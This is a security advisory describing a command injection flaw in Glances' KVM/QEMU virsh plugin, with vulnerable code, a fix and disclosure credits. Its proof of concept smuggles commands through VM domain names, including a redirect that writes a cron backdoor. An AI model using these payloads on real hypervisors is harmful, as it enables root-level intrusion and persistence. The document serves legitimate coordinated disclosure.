Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py

Summary

The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.

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Details

Affected file: glances/plugins/vms/engines/virsh.py

Direct URLs (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185 - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204

The vulnerable calls are on lines 185 and 204:

# line 185  (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')

# line 204  (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')

domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().

secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:

# glances/secure.py
def secure_popen(cmd):
    ret = ''
    for c in cmd.split('&&'):        # '&&' → two separate processes
        ret += __secure_popen(c)
    return ret

def __secure_popen(cmd):
    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped
        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
    # '>' is split separately for file redirection

By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

| Operator | Effect | Confirmed | |----------|--------|-----------| | && | Second command executes after the virsh call | Yes | | \| | Output of virsh piped to injected command | Yes | | > | virsh output redirected to arbitrary file | Yes |

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PoC

Special configuration required

• Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
• The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
• No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 — Create a VM with a crafted domain name

Using the && operator to chain a second command:

  productionDB && touch /tmp/glances_pwned
  131072
  1
  hvm

virsh define evil-domain.xml

Step 2 — Start Glances with KVM monitoring enabled

glances                # or: glances -s / glances -w

On the next monitoring cycle Glances calls:

virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"

which secure_popen() splits into two processes: 1. virsh domstats --nowait productionDB 2. touch /tmp/glances_pwned

Step 3 — Verify execution

ls -la /tmp/glances_pwned   # file will exist, owned by the Glances user

**Pipe injection (|) example**

Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

**File-write injection (>) example**

Domain name: "productionDB > /etc/cron.d/glances_backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.secure import secure_popen

# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`

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Impact

Vulnerability type: Command Injection (CWE-78)

Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.

Impact: - Confidentiality: Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system. - Integrity: Full — file-write injection (>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.). - Availability: Full — the Glances process can be terminated or the host disrupted through the injected commands.

In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.

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Suggested

Fix

Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:

# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE

result = run(
    [VIRSH_PATH, 'domstats', '--nowait', domain],
    stdout=PIPE, stderr=PIPE, timeout=5
)

Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.

As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.

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Responsible

Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

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Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

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